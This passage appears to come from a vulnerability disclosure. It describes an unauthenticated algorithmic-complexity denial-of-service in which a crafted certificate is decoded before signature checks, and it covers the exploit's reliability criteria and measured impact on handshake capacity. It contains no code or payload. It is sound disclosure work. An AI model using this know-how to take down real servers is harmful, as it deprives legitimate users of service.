- No authentication, no valid signature, and no trusted CA certificate is required. The decode happens before all signature and trust checks.
#Reliability
The exploit is highly reliable. It measures the complexity curve rather than asserting on a single timing, which is robust against host load and background noise. It requires a mean scaling ratio of 2.5x per doubling of input plus an absolute cost of at least 25 ms and 10x amplification over the control. Two independent oracles are available: wall time and alert byte.
#Impact
A single crafted certificate burns roughly 451 milliseconds of CPU on typical hardware. Under concurrent load (32 handshakes), legitimate capacity falls to 6% of normal: from 615 handshakes per second idle to 37 per second under attack. Recovery is instantaneous once the attack stops - no restart or cleanup needed.
#Chaining potential
This is a pure algorithmic-complexity DoS with no memory corruption, no control flow hijack, and no further primitives. It stands alone as a denial of service.
